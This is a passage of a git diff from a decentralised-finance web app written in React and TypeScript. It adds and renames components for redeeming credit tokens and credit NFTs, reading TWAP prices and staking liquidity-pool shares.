ethers.utils.parseEther(amountValue); + if (!amount.gt(BigNumber.from(0))) { + setErrMsg(`${subject} should be greater than 0`); + return; + } + setDollarAmount(amountValue); + }; + + const handleBurn = () => { + actions.onBurn(dollarAmount, setErrMsg); + }; + + const isLessThanOne = () => parseFloat(formattedSwapPrice) <= 1; + + useEffect(() => { + if (dollarAmount) { + // _expectedCreditNft(dollarAmount, contracts, selectedCurrency, setExpectedCreditNft); + } + }, [dollarAmount, selectedCurrency]); + + useEffect(() => { + priceIncreaseFormula(10).then((value) => { + setIncreasedValue(value); + }); + }); + + return ( + <> + + {isLessThanOne() ? ( + <> + + + + ) : ( + + )} + + ); + } +); + +type CreditNftsProps = { + dollarTotalSupply: number; + stakingShareSupply: number; + creditTotalSupply: number; + creditNftTotalSupply: number; + creditNfts: CreditNfts | null; + actions: Actions; +}; + +export const CreditNfts = ({ dollarTotalSupply, stakingShareSupply, creditTotalSupply, creditNftTotalSupply, creditNfts, actions }: CreditNftsProps) => { + return ( + <> + +
    + Your CreditNfts +
    + + + + ); +}; + +type CreditNftRedeemProps = { + creditNfts: CreditNfts | null; + actions: Actions; +}; + +export const CreditNftRedeem = ({ creditNfts, actions }: CreditNftRedeemProps) => { + const [creditAmount, setCreditAmount] = useState(""); + const [stakingShareAmount, setStakingShareAmount] = useState(""); + const shouldDisableInput = (type: keyof CreditNfts) => { + if (!creditNfts) { + return true; + // cspell: disable-next-line + } else if (type === "creditNftAmount") { + // cspell: disable-next-line + return !creditNfts.creditNftAmount || creditNfts.creditNftAmount <= 0; + // cspell: disable-next-line + } else if (type === "stakingShare") { + // cspell: disable-next-line + return !creditNfts.stakingShare || creditNfts.stakingShare <= 0; + } + return false; + }; + + const handleInputCREDIT = async (e: ChangeEvent) => { + // cspell: disable-next-line + if (!creditNfts || !creditNfts.creditNftAmount) { + return; + } + const amountEl = e.target as HTMLInputElement; + const amountValue = amountEl?.value; + // cspell: disable-next-line + setCreditAmount(`${constrainNumber(parseFloat(amountValue), 0, creditNfts.creditNftAmount)}`); + }; + + const handleInputStakingShare = async (e: ChangeEvent) => { + // cspell: disable-next-line + if (!creditNfts || !creditNfts.stakingShare) { + return; + } + const amountEl = e.target as HTMLInputElement; + const amountValue = amountEl?.value; + // cspell: disable-next-line + setStakingShareAmount(`${constrainNumber(parseFloat(amountValue), 0, creditNfts.stakingShare)}`); + }; + + const creditToCreditNftFormula = (amount: string) => { + const parsedValue = parseFloat(amount); + return isNaN(parsedValue) ? 0 : parsedValue * 0.9; + }; + + return ( + <> +
    +
    +
    +
    + {/* cspell: disable-next-line */} + Staking Share {creditNfts?.stakingShare.toLocaleString()} +
    +
    + {/* cspell: disable-next-line */} + + +
    +
    +
    +
    +
    +
    + {/* cspell: disable-next-line */} + CREDIT {creditNfts?.creditNftAmount.toLocaleString()} - $2,120 +
    +
    + {/* cspell: disable-next-line */} + + +
    +
    +
    +
    +
    +
    + Deprecation rate 10% / week +
    +
    + {/* cspell: disable-next-line */} + {creditToCreditNftFormula(creditAmount).toLocaleString()} CREDIT NFT + {/* cspell: disable-next-line */} + +
    +
    +
    +
    + + ); +}; + +type RewardCycleInfoProps = { + dollarTotalSupply: number; + stakingShareSupply: number; + creditTotalSupply: number; + creditNftTotalSupply: number; +}; + +export const RewardCycleInfo = ({ dollarTotalSupply, stakingShareSupply, creditTotalSupply, creditNftTotalSupply }: RewardCycleInfoProps) => { + return ( + <> +
    + Reward Cycle +
    +
    +
    +
    + {/* cspell: disable-next-line */} + DOLLAR +
    +
    +
    Total Supply
    +
    {dollarTotalSupply.toLocaleString()}
    +
    +
    +
    Minted
    +
    25k
    +
    +
    +
    Mintable
    +
    12k
    +
    +
    +
    +
    +
    +
    + Total Credit NFT +
    +
    +
    + {/* cspell: disable-next-line */} +
    stakingShare
    +
    {stakingShareSupply.toLocaleString()}
    +
    +
    + {/* cspell: disable-next-line */} +
    CREDIT
    +
    {creditTotalSupply.toLocaleString()}
    +
    +
    + {/* cspell: disable-next-line */} +
    CREDIT NFT
    +
    {creditNftTotalSupply.toLocaleString()}
    +
    +
    +
    +
    +
    +
    +
    + Redeemable +
    +
    +
    10,000
    +
    27,000
    +
    0
    +
    +
    +
    + + ); +}; + +type DollarBurningProps = { + selectedCurrency: string; + errMsg: string | undefined; + expectedCreditNft: BigNumber | undefined; + increasedValue: number; + handleInputDOLLAR: (e: ChangeEvent) => Promise; + handleTabSelect: (tab: string) => void; + handleBurn: () => void; +}; + +export const DollarBurning = ({ + handleInputDOLLAR, + selectedCurrency, + handleTabSelect, + handleBurn, + increasedValue, + expectedCreditNft, + errMsg, +}: DollarBurningProps) => { + return ( + <> +
    + {/* cspell: disable-next-line */} + DOLLAR + + + +
    +

    {errMsg}

    + {expectedCreditNft && ( +

    + expected {selectedCurrency} {ethers.utils.formatEther(expectedCreditNft)} +

    + )} +
    + Price will increase by an estimated of +${increasedValue} +
    + + ); +}; + +type PumpCycleProps = { + creditDeprecationRate: number; + creditCurrentRewardPct: number; + creditNftDeprecationRate: number; + creditNftCurrentRewardPct: number; + creditNftGovernanceRedemptionRate: number; + calculatedCreditNftExpirationTime: string | undefined; +}; + +export const PumpCycle = ({ + creditDeprecationRate, + creditCurrentRewardPct, + creditNftDeprecationRate, + creditNftCurrentRewardPct, + creditNftGovernanceRedemptionRate, + calculatedCreditNftExpirationTime, +}: PumpCycleProps) => { + return ( + <> +
    + Pump Cycle +
    +
    +
    + {/* cspell: disable-next-line */} + Fungible (CREDIT) + + + + + + + + + + + + + + + +
    Deprecation rate{creditDeprecationRate * 100}% / week
    Current reward %{creditCurrentRewardPct * 100}%
    Expires?No
    +
    + Higher priority when redeeming +
    + Learn more +
    +
    + {/* cspell: disable-next-line */} + Non-fungible (CREDIT NFT) + + + + + + + + + + + + + + + +
    Deprecation rate{creditNftDeprecationRate * 100}%
    Current reward %{creditNftCurrentRewardPct * 100}%
    Expires?After {calculatedCreditNftExpirationTime}
    +
    + Convertible to fungible +
    +
    + {/* cspell: disable-next-line */} + Can be redeemed for GOVERNANCE at {creditNftGovernanceRedemptionRate * 100}% rate +
    + Learn more +
    +
    + + ); +}; + +type TwapPriceBarProps = { + price: string; + date: string | undefined; +}; + +export const TwapPriceBar = ({ price, date }: TwapPriceBarProps) => { + const leftPositioned = parseFloat(price) <= 1; + + return ( + <> +
    +
    +
    +
    +
    {leftPositioned ? ${price} : Redeeming cycle started {date} ago}
    + {leftPositioned ? ( + <> +
    + + + +
    +
    + + ) : ( + <> +
    +
    + + + +
    + + )} +
    {leftPositioned ? Pump cycle started {date} ago : ${price}}
    +
    +
    +
    +
    +
    +
    + $0.9 +
    +
    + $1 +
    +
    + $1.1 +
    +
    +
    + + {/* cspell: disable-next-line */} + {parseFloat(price) <= 1 ? "Burn DOLLAR for credit nfts and help pump the price back up" : "Time to redeem credits nfts and help move the price down"} + +
    + + ); +}; + +type CreditNftTableProps = { + creditNfts: CreditNfts | null; + onRedeem: Actions["onRedeem"]; + onSwap: Actions["onSwap"]; +}; + +export const CreditNftTable = ({ creditNfts, onRedeem, onSwap }: CreditNftTableProps) => { + return ( +
    + + + + {/* cspell: disable-next-line */} + + + + + + + + + {/* cspell: disable-next-line */} + {creditNfts && creditNfts.creditNft && creditNfts.creditNft.length + ? // cspell: disable-next-line + creditNfts.creditNft.map((creditNft, index) => ) + : null} + +
    CREDIT NFTExpirationSwap
    +
    + ); +}; + +type CreditNftRowProps = { + creditNft: CreditNft; + onRedeem: Actions["onRedeem"]; + onSwap: Actions["onSwap"]; +}; + +export const CreditNftRow = ({ creditNft, onRedeem, onSwap }: CreditNftRowProps) => { + const timeDiff = creditNft.expiration - Date.now(); + + const handleSwap = () => { + onSwap(creditNft.swap.amount, creditNft.swap.unit); + }; + + return ( + + {creditNft.amount.toLocaleString()} + + {formatTimeDiff(Math.abs(timeDiff))} + {timeDiff < 0 ? " ago" : ""} + + + + + {timeDiff > 0 ? : null} + + ); +}; + +export default withLoadedContext(CreditNftContainer); diff --git a/packages/dapp/components/redeem/credit-redeem.tsx b/packages/dapp/components/redeem/credit-redeem.tsx new file mode 100644 index 000000000..254c5f087 --- /dev/null +++ b/packages/dapp/components/redeem/credit-redeem.tsx @@ -0,0 +1,138 @@ +import { BigNumber, ethers } from "ethers"; +import { useState } from "react"; +import { SwapWidget } from "@uniswap/widgets"; +import { ensureERC20Allowance } from "@/lib/contracts-shortcuts"; +import { safeParseEther } from "@/lib/utils"; +import useProtocolContracts from "@/components/lib/hooks/contracts/use-protocol-contracts"; +import useBalances from "../lib/hooks/use-balances"; +import useSigner from "../lib/hooks/use-signer"; +import useTransactionLogger from "../lib/hooks/use-transaction-logger"; +import Button from "../ui/button"; +import PositiveNumberInput from "../ui/positive-number-input"; +import useRouter from "../lib/hooks/use-router"; +import useTrade from "../lib/hooks/use-trade"; +import { SWAP_WIDGET_TOKEN_LIST, V3_ROUTER_ADDRESS } from "@/lib/utils"; +import { getUniswapV3RouterContract } from "../utils/contracts"; +import useWeb3 from "@/components/lib/hooks/use-web-3"; + +const CreditRedeem = ({ twapInteger }: { twapInteger: number }) => { + const { provider, walletAddress } = useWeb3(); + const signer = useSigner(); + const [balances, refreshBalances] = useBalances(); + const [, doTransaction, doingTransaction] = useTransactionLogger(); + const protocolContracts = useProtocolContracts(); + + const [inputVal, setInputVal] = useState("0"); + // cspell: disable-next-line + const [selectedRedeemToken, setSelectedRedeemToken] = useState("DOLLAR"); + const [quoteAmount, lastQuoteAmount] = useRouter(selectedRedeemToken, inputVal); + const currentlyAbovePeg = twapInteger > 1; + + if (!walletAddress || !signer) { + return Connect wallet; + } + + if (!protocolContracts || !balances) { + return · · ·; + } + + const redeemCredit = async (amount: BigNumber) => { + const contracts = await protocolContracts; + if (contracts.creditToken && contracts.creditNftManagerFacet && contracts.dollarToken) { + // cspell: disable-next-line + await ensureERC20Allowance("CREDIT -> CreditNftManagerFacet", contracts.creditToken, amount, signer, contracts.creditNftManagerFacet.address); + await (await contracts.creditNftManagerFacet.connect(signer).burnCreditTokensForDollars(amount)).wait(); + refreshBalances(); + // cspell: disable-next-line + if (provider && quoteAmount && selectedRedeemToken !== "DOLLAR") { + const routerContract = getUniswapV3RouterContract(V3_ROUTER_ADDRESS, provider); + await (await routerContract.connect(signer).approveMax(contracts.dollarToken.address)).wait(); + await useTrade(selectedRedeemToken, quoteAmount); + refreshBalances(); + } + } + }; + + const handleRedeem = () => { + const amount = extractValidAmount(); + if (amount) { + // cspell: disable-next-line + doTransaction("Redeeming CREDIT...", async () => { + setInputVal(""); + await redeemCredit(amount); + }); + } + }; + + const extractValidAmount = (val: string = inputVal): null | BigNumber => { + const amount = safeParseEther(val); + return amount && amount.gt(BigNumber.from(0)) && amount.lte(balances.credit) ? amount : null; + }; + + const submitEnabled = !!(extractValidAmount() && !doingTransaction); + + const handleMax = () => { + const creditTokenValue = ethers.utils.formatEther(balances.credit); + setInputVal(parseInt(creditTokenValue).toString()); + }; + + function onChangeValue(e: React.ChangeEvent) { + setSelectedRedeemToken(e.target.value); + } + + return ( +
    + {currentlyAbovePeg ? ( +
    +

    TWAP is above peg

    +
    +

    Please select a token to redeem for:

    + {/* cspell: disable-next-line */} + + {/* cspell: disable-next-line */} + + + + + + + + + + +
    +
    + {/* cspell: disable-next-line */} + + MAX +
    + {/* cspell: disable-next-line */} + {inputVal && selectedRedeemToken === "DOLLAR" && quoteAmount && ( +
    + {/* cspell: disable-next-line */} + {inputVal} CREDIT -> {quoteAmount} DOLLAR. +
    + )} + {/* cspell: disable-next-line */} + {inputVal && selectedRedeemToken !== "DOLLAR" && quoteAmount && lastQuoteAmount && ( +
    + {/* cspell: disable-next-line */} + {inputVal} CREDIT -> {quoteAmount} DOLLAR -> {lastQuoteAmount} {selectedRedeemToken}. +
    + )} + +
    + ) : ( +
    +

    TWAP is below peg

    + +
    + )} +
    + ); +}; + +export default CreditRedeem; diff --git a/packages/dapp/components/redeem/DollarPrice.tsx b/packages/dapp/components/redeem/dollar-price.tsx similarity index 91% rename from packages/dapp/components/redeem/DollarPrice.tsx rename to packages/dapp/components/redeem/dollar-price.tsx index 1fd39e17d..9954f4d19 100644 --- a/packages/dapp/components/redeem/DollarPrice.tsx +++ b/packages/dapp/components/redeem/dollar-price.tsx @@ -1,7 +1,7 @@ import { BigNumber, ethers } from "ethers"; -import Tooltip from "../ui/Tooltip"; +import Tooltip from "../ui/tooltip"; -import usePrices from "./lib/usePrices"; +import usePrices from "./lib/use-prices"; const roundPrice = (twapPrice: BigNumber): string => parseFloat(ethers.utils.formatEther(twapPrice)).toFixed(8); diff --git a/packages/dapp/components/redeem/lib/use-prices.ts b/packages/dapp/components/redeem/lib/use-prices.ts new file mode 100644 index 000000000..26e4d4b8b --- /dev/null +++ b/packages/dapp/components/redeem/lib/use-prices.ts @@ -0,0 +1,40 @@ +import useProtocolContracts from "@/components/lib/hooks/contracts/use-protocol-contracts"; +import useWeb3 from "@/components/lib/hooks/use-web-3"; +import { BigNumber, utils } from "ethers"; +import { useEffect, useState } from "react"; + +const usePrices = (): [BigNumber | null, BigNumber | null, () => Promise] => { + const protocolContracts = useProtocolContracts(); + const { provider } = useWeb3(); + + const [twapPrice, setTwapPrice] = useState(null); + const [spotPrice, setSpotPrice] = useState(null); + + async function refreshPrices() { + try { + if (!protocolContracts || !provider) { + return; + } + + const contracts = await protocolContracts; + + if (contracts.curveMetaPoolDollarTriPoolLp) { + const dollarTokenAddress = await contracts.managerFacet?.dollarTokenAddress(); + const newTwapPrice = await contracts.twapOracleDollar3poolFacet?.consult(dollarTokenAddress); + const newSpotPrice = await contracts.curveMetaPoolDollarTriPoolLp["get_dy(int128,int128,uint256)"](0, 1, utils.parseEther("1")); + setTwapPrice(newTwapPrice); + setSpotPrice(newSpotPrice); + } + } catch (error) { + console.log("Error in refreshPrices: ", error); + } + } + + useEffect(() => { + refreshPrices(); + }, [provider]); + + return [twapPrice, spotPrice, refreshPrices]; +}; + +export default usePrices; diff --git a/packages/dapp/components/redeem/lib/usePrices.ts b/packages/dapp/components/redeem/lib/usePrices.ts deleted file mode 100644 index 0f68e742e..000000000 --- a/packages/dapp/components/redeem/lib/usePrices.ts +++ /dev/null @@ -1,29 +0,0 @@ -import useDeployedContracts from "@/components/lib/hooks/contracts/useDeployedContracts"; -import useManagerManaged from "@/components/lib/hooks/contracts/useManagerManaged"; -import { BigNumber, utils } from "ethers"; -import { useEffect, useState } from "react"; - -const usePrices = (): [BigNumber | null, BigNumber | null, () => Promise] => { - const deployedContracts = useDeployedContracts(); - const managedContracts = useManagerManaged(); - - const [twapPrice, setTwapPrice] = useState(null); - const [spotPrice, setSpotPrice] = useState(null); - - async function refreshPrices() { - if (managedContracts && deployedContracts) { - const newTwapPrice = await managedContracts.dollarTwapOracle.consult(await deployedContracts.manager.dollarTokenAddress()); - const newSpotPrice = await managedContracts.dollarMetapool["get_dy(int128,int128,uint256)"](0, 1, utils.parseEther("1")); - setTwapPrice(newTwapPrice); - setSpotPrice(newSpotPrice); - } - } - - useEffect(() => { - refreshPrices(); - }, [managedContracts, deployedContracts]); - - return [twapPrice, spotPrice, refreshPrices]; -}; - -export default usePrices; diff --git a/packages/dapp/components/staking/BondingSharesExplorer.tsx b/packages/dapp/components/staking/BondingSharesExplorer.tsx deleted file mode 100644 index 1325004a3..000000000 --- a/packages/dapp/components/staking/BondingSharesExplorer.tsx +++ /dev/null @@ -1,280 +0,0 @@ -import { BigNumber, ethers } from "ethers"; -import { memo, useCallback, useState } from "react"; - -import { formatEther } from "@/lib/format"; -import { performTransaction, useAsyncInit } from "@/lib/utils"; -import withLoadedContext, { LoadedContext } from "@/lib/withLoadedContext"; - -// Contracts: bonding, metaPool, bondingToken, masterChef - -import DepositShare from "./DepositShare"; -import useBalances from "../lib/hooks/useBalances"; -import useTransactionLogger from "../lib/hooks/useTransactionLogger"; -import Button from "../ui/Button"; -import Icon from "../ui/Icon"; -import Loading from "../ui/Loading"; - -type ShareData = { - id: number; - ugov: BigNumber; - bond: { - minter: string; - lpFirstDeposited: BigNumber; - creationBlock: BigNumber; - lpRewardDebt: BigNumber; - endBlock: BigNumber; - lpAmount: BigNumber; - }; - sharesBalance: BigNumber; - weeksLeft: number; -}; - -type Model = { - shares: ShareData[]; - totalShares: BigNumber; - walletLpBalance: BigNumber; - processing: boolean; -}; - -type Actions = { - onWithdrawLp: (payload: { id: number; amount: null | number }) => void; - onClaimUbq: (id: number) => void; - onStake: (payload: { amount: BigNumber; weeks: BigNumber }) => void; -}; - -const USD_TO_LP = 0.7460387929; -const LP_TO_USD = 1 / USD_TO_LP; - -export const BondingSharesExplorerContainer = ({ managedContracts, web3Provider, walletAddress, signer }: LoadedContext) => { - const [model, setModel] = useState(null); - const [, doTransaction] = useTransactionLogger(); - const [, refreshBalances] = useBalances(); - - const { staking: bonding, masterChef, stakingToken: bondingToken, dollarMetapool: metaPool } = managedContracts; - - useAsyncInit(fetchSharesInformation); - async function fetchSharesInformation() { - console.time("BondingShareExplorerContainer contract loading"); - const currentBlock = await web3Provider.getBlockNumber(); - const blockCountInAWeek = +(await bonding.blockCountInAWeek()).toString(); - const totalShares = await masterChef.totalShares(); - const bondingShareIds = await bondingToken.holderTokens(walletAddress); - const walletLpBalance = await metaPool.balanceOf(walletAddress); - - const shares: ShareData[] = []; - await Promise.all( - bondingShareIds.map(async (id: string) => { - const [ugov, bond, bondingShareInfo, tokenBalance] = await Promise.all([ - masterChef.pendingUGOV(id), - bondingToken.getBond(id), - masterChef.getBondingShareInfo(id), - bondingToken.balanceOf(walletAddress, id), - ]); - - const endBlock = +bond.endBlock.toString(); - const blocksLeft = endBlock - currentBlock; - const weeksLeft = Math.round((blocksLeft / blockCountInAWeek) * 100) / 100; - - // If this is 0 it means the share ERC1155 token was transferred to another account - if (+tokenBalance.toString() > 0) { - shares.push({ id: +id.toString(), ugov, bond, sharesBalance: bondingShareInfo[0], weeksLeft }); - } - }) - ); - - const sortedShares = shares.sort((a, b) => a.id - b.id); - - console.timeEnd("BondingShareExplorerContainer contract loading"); - setModel({ processing: false, shares: sortedShares, totalShares, walletLpBalance }); - } - - function allLpAmount(id: number): BigNumber { - if (!model) throw new Error("No model"); - const lpAmount = model.shares.find((s) => s.id === id)?.bond?.lpAmount; - if (!lpAmount) throw new Error("Could not find share in model"); - return lpAmount; - } - - const actions: Actions = { - onWithdrawLp: useCallback( - async ({ id, amount }) => { - if (!model || model.processing) return; - console.log(`Withdrawing ${amount ? amount : "ALL"} LP from ${id}`); - setModel({ ...model, processing: true }); - doTransaction("Withdrawing LP...", async () => { - const isAllowed = await bondingToken.isApprovedForAll(walletAddress, bonding.address); - if (!isAllowed) { - // Allow bonding contract to control account share - if (!(await performTransaction(bondingToken.connect(signer).setApprovalForAll(bonding.address, true)))) { - return; // TODO: Show transaction errors to user - } - } - - const bigNumberAmount = amount ? ethers.utils.parseEther(amount.toString()) : allLpAmount(id); - await performTransaction(bonding.connect(signer).removeLiquidity(bigNumberAmount, BigNumber.from(id))); - - fetchSharesInformation(); - refreshBalances(); - }); - }, - [model] - ), - - onClaimUbq: useCallback( - async (id) => { - if (!model || model.processing) return; - console.log(`Claiming Ubiquity Governance token rewards from ${id}`); - setModel({ ...model, processing: true }); - doTransaction("Claiming Ubiquity Governance tokens...", async () => { - await performTransaction(masterChef.connect(signer).getRewards(BigNumber.from(id))); - - fetchSharesInformation(); - refreshBalances(); - }); - }, - [model] - ), - - onStake: useCallback( - async ({ amount, weeks }) => { - if (!model || model.processing) return; - console.log(`Staking ${amount} for ${weeks} weeks`); - setModel({ ...model, processing: true }); - doTransaction("Staking...", async () => {}); - const allowance = await metaPool.allowance(walletAddress, bonding.address); - console.log("allowance", ethers.utils.formatEther(allowance)); - console.log("lpsAmount", ethers.utils.formatEther(amount)); - if (allowance.lt(amount)) { - await performTransaction(metaPool.connect(signer).approve(bonding.address, amount)); - const allowance2 = await metaPool.allowance(walletAddress, bonding.address); - console.log("allowance2", ethers.utils.formatEther(allowance2)); - } - await performTransaction(bonding.connect(signer).deposit(amount, weeks)); - - fetchSharesInformation(); - refreshBalances(); - }, - [model] - ), - }; - - return ; -}; - -export const BondingSharesExplorer = memo(({ model, actions }: { model: Model | null; actions: Actions }) => { - return <>{model ? : }; -}); - -export const BondingSharesInformation = ({ shares, totalShares, onWithdrawLp, onClaimUbq, onStake, processing, walletLpBalance }: Model & Actions) => { - const totalUserShares = shares.reduce((sum, val) => { - return sum.add(val.sharesBalance); - }, BigNumber.from(0)); - - const totalLpBalance = shares.reduce((sum, val) => { - return sum.add(val.bond.lpAmount); - }, BigNumber.from(0)); - - const totalPendingUgov = shares.reduce((sum, val) => sum.add(val.ugov), BigNumber.from(0)); - - const poolPercentage = formatEther(totalUserShares.mul(ethers.utils.parseEther("100")).div(totalShares)); - - const filteredShares = shares.filter(({ bond: { lpAmount }, ugov }) => lpAmount.gt(0) || ugov.gt(0)); - - return ( -
    - - - - - - - - - - - {filteredShares.length > 0 ? ( - - {filteredShares.map((share) => ( - - ))} - - ) : ( - - - - - - )} -
    ActionRewardsUnlock TimeEst. Deposit
    Nothing staked yet
    - - - - - - - - - - - - - - - - - - - -
    - Pending - - - - {formatEther(totalPendingUgov)} -
    - Staked LP - - - {formatEther(totalLpBalance)}
    Ownership%{poolPercentage}
    -
    - ); -}; - -type BondingShareRowProps = ShareData & { onWithdrawLp: Actions["onWithdrawLp"]; onClaimUbq: Actions["onClaimUbq"] }; -const BondingShareRow = ({ id, ugov, sharesBalance, bond, weeksLeft, onWithdrawLp, onClaimUbq }: BondingShareRowProps) => { - const [withdrawAmount] = useState(""); - - const numLpAmount = +formatEther(bond.lpAmount); - const usdAmount = numLpAmount * LP_TO_USD; - - function onClickWithdraw() { - const parsedUsdAmount = parseFloat(withdrawAmount); - if (parsedUsdAmount) { - onWithdrawLp({ id, amount: parsedUsdAmount * USD_TO_LP }); - } else { - onWithdrawLp({ id, amount: null }); - } - } - - return ( - - - {weeksLeft <= 0 && bond.lpAmount.gt(0) ? ( - - ) : ugov.gt(0) ? ( - - ) : null} - - -
    - {formatEther(ugov)} -
    - - {weeksLeft <= 0 ? "Ready" : {weeksLeft}w} - - ${Math.round(usdAmount * 100) / 100} - - ); -}; - -export default withLoadedContext(BondingSharesExplorerContainer); diff --git a/packages/dapp/components/staking/DepositShare.tsx b/packages/dapp/components/staking/deposit-share.tsx similarity index 59% rename from packages/dapp/components/staking/DepositShare.tsx rename to packages/dapp/components/staking/deposit-share.tsx index 802f29569..a8adc7286 100644 --- a/packages/dapp/components/staking/DepositShare.tsx +++ b/packages/dapp/components/staking/deposit-share.tsx @@ -1,11 +1,11 @@ import { BigNumber, ethers } from "ethers"; import { useEffect, useState } from "react"; -import { ManagedContracts } from "@/lib/hooks/contracts/useManagerManaged"; +import { ProtocolContracts } from "@/components/lib/hooks/contracts/use-protocol-contracts"; import { constrainNumber } from "@/lib/utils"; -import withLoadedContext, { LoadedContext } from "@/lib/withLoadedContext"; -import Button from "../ui/Button"; -import PositiveNumberInput from "../ui/PositiveNumberInput"; +import withLoadedContext, { LoadedContext } from "@/lib/with-loaded-context"; +import Button from "../ui/button"; +import PositiveNumberInput from "../ui/positive-number-input"; const toEtherNum = (n: BigNumber) => +n.toString() / 1e18; const toNum = (n: BigNumber) => +n.toString(); @@ -13,50 +13,47 @@ const toNum = (n: BigNumber) => +n.toString(); const MIN_WEEKS = 1; const MAX_WEEKS = 208; -type PrefetchedConstants = { totalShares: number; usdPerWeek: number; bondingDiscountMultiplier: BigNumber }; -async function prefetchConstants(contracts: NonNullable): Promise { - const reserves = await contracts.governanceMarket.getReserves(); - - const ubqPrice = +reserves[0].toString() / +reserves[1].toString(); - const ubqPerBlock = await contracts.masterChef.uGOVPerBlock(); - const ubqMultiplier = await contracts.masterChef.uGOVmultiplier(); - const actualUbqPerBlock = toEtherNum(ubqPerBlock.mul(ubqMultiplier).div(`${1e18}`)); - const blockCountInAWeek = toNum(await contracts.staking.blockCountInAWeek()); - const ubqPerWeek = actualUbqPerBlock * blockCountInAWeek; - const totalShares = toEtherNum(await contracts.masterChef.totalShares()); - const usdPerWeek = ubqPerWeek * ubqPrice; - const bondingDiscountMultiplier = await contracts.staking.bondingDiscountMultiplier(); - return { totalShares, usdPerWeek, bondingDiscountMultiplier }; +// cspell: disable-next-line +type PrefetchedConstants = { totalShares: number; usdPerWeek: number; stakingDiscountMultiplier: BigNumber }; +async function prefetchConstants(contracts: NonNullable): Promise { + const contract = await contracts; + const reserves = await contract.sushiPoolGovernanceDollarLp?.getReserves(); + const governancePrice = +reserves[0].toString() / +reserves[1].toString(); + const governancePerBlock = await contract.chefFacet?.governancePerBlock(); + const governanceMultiplier = await contract.chefFacet?.governanceMultiplier(); + const actualGovernancePerBlock = toEtherNum(governancePerBlock.mul(governanceMultiplier).div(`${1e18}`)); + const blockCountInAWeek = toNum(await contract.stakingFacet?.blockCountInAWeek()); + const governancePerWeek = actualGovernancePerBlock * blockCountInAWeek; + const totalShares = toEtherNum(await contract.chefFacet?.totalShares()); + const usdPerWeek = governancePerWeek * governancePrice; + // cspell: disable-next-line + const stakingDiscountMultiplier = await contract.stakingFacet?.stakingDiscountMultiplier(); + // cspell: disable-next-line + return { totalShares, usdPerWeek, stakingDiscountMultiplier }; } -async function calculateApyForWeeks(contracts: NonNullable, prefetch: PrefetchedConstants, weeksNum: number): Promise { - const { totalShares, usdPerWeek, bondingDiscountMultiplier } = prefetch; +async function calculateApyForWeeks(contracts: NonNullable, prefetch: PrefetchedConstants, weeksNum: number): Promise { + const contract = await contracts; + // cspell: disable-next-line + const { totalShares, usdPerWeek, stakingDiscountMultiplier } = prefetch; const DAYS_IN_A_YEAR = 365.2422; const usdAsLp = 0.7460387929; // TODO: Get this number from the Curve contract const bigNumberOneUsdAsLp = ethers.utils.parseEther(usdAsLp.toString()); const weeks = BigNumber.from(weeksNum.toString()); - const shares = toEtherNum(await contracts.ubiquityFormulas.durationMultiply(bigNumberOneUsdAsLp, weeks, bondingDiscountMultiplier)); + // cspell: disable-next-line + const shares = toEtherNum(contract.stakingFormulasFacet?.durationMultiply(bigNumberOneUsdAsLp, weeks, stakingDiscountMultiplier)); const rewardsPerWeek = (shares / totalShares) * usdPerWeek; const yearlyYield = (rewardsPerWeek / 7) * DAYS_IN_A_YEAR * 100; return Math.round(yearlyYield * 100) / 100; } -// async function calculateExpectedShares(contracts: Contracts, prefetch: PrefetchedConstants, amount: string, weeks: string): Promise { -// const { bondingDiscountMultiplier } = prefetch; -// const weeksBig = BigNumber.from(weeks); -// const amountBig = ethers.utils.parseEther(amount); -// const expectedShares = await contracts.ubiquityFormulas.durationMultiply(amountBig, weeksBig, bondingDiscountMultiplier); -// const expectedSharesNum = +ethers.utils.formatEther(expectedShares); -// return Math.round(expectedSharesNum * 10000) / 10000; -// } - type DepositShareProps = { onStake: ({ amount, weeks }: { amount: BigNumber; weeks: BigNumber }) => void; disabled: boolean; maxLp: BigNumber; } & LoadedContext; -const DepositShare = ({ onStake, disabled, maxLp, managedContracts: contracts }: DepositShareProps) => { +const DepositShare = ({ onStake, disabled, maxLp, protocolContracts: contracts }: DepositShareProps) => { const [amount, setAmount] = useState(""); const [weeks, setWeeks] = useState(""); const [currentApy, setCurrentApy] = useState(null); @@ -66,7 +63,7 @@ const DepositShare = ({ onStake, disabled, maxLp, managedContracts: contracts }: function validateAmount(): string | null { if (amount) { const amountBig = ethers.utils.parseEther(amount); - if (amountBig.gt(maxLp)) return `You don't have enough uAD-3CRV tokens`; + if (amountBig.gt(maxLp)) return `You don't have enough DOLLAR-3CRV tokens`; } return null; } @@ -118,10 +115,11 @@ const DepositShare = ({ onStake, disabled, maxLp, managedContracts: contracts }: return (
    -

    Stake liquidity to receive UBQ

    + {/* cspell: disable-next-line */} +

    Stake liquidity to receive GOVERNANCE

    APR {currentApy ? `${currentApy}%` : aprBounds ? `${aprBounds[1]}%` : "..."}
    - + + ) : // cspell: disable-next-line + governanceToken.gt(0) ? ( + + ) : null} + + +
    + {/* cspell: disable-next-line */} + {formatEther(governanceToken)} +
    + + {weeksLeft <= 0 ? "Ready" : {weeksLeft}w} + + ${Math.round(usdAmount * 100) / 100} + + ); +}; + +export default withLoadedContext(StakingSharesExplorerContainer); diff --git a/packages/dapp/components/ui/WalletNotConnected.tsx b/packages/dapp/components/ui/WalletNotConnected.tsx deleted file mode 100644 index 4b2e342b6..000000000 --- a/packages/dapp/components/ui/WalletNotConnected.tsx +++ /dev/null @@ -1,7 +0,0 @@ -const WalletNotConnected = ( -
    -

    Please connect your wallet

    -
    -); - -export default WalletNotConnected; diff --git a/packages/dapp/components/ui/Button.tsx b/packages/dapp/components/ui/button.tsx similarity index 100% rename from packages/dapp/components/ui/Button.tsx rename to packages/dapp/components/ui/button.tsx diff --git a/packages/dapp/components/ui/Icon.tsx b/packages/dapp/components/ui/icon.tsx similarity index 84% rename from packages/dapp/components/ui/Icon.tsx rename to packages/dapp/components/ui/icon.tsx index 45064561d..8a8c92824 100644 --- a/packages/dapp/components/ui/Icon.tsx +++ b/packages/dapp/components/ui/icon.tsx @@ -1,6 +1,6 @@ import React from "react"; -import { jsxSvgIcons } from "./jsxIcons"; +import { jsxSvgIcons } from "./jsx-icons"; export type IconsNames = keyof typeof jsxSvgIcons; diff --git a/packages/dapp/components/ui/icons.tsx b/packages/dapp/components/ui/icons.tsx index 43ebb2ab3..45744aa1d 100644 --- a/packages/dapp/components/ui/icons.tsx +++ b/packages/dapp/components/ui/icons.tsx @@ -1,25 +1,25 @@ import btoa from "btoa"; import { renderToString } from "react-dom/server"; -import svgs from "./svgs"; +import SVGs from "./svgs"; const b64svg = `data:image/svg+xml;base64,`; const 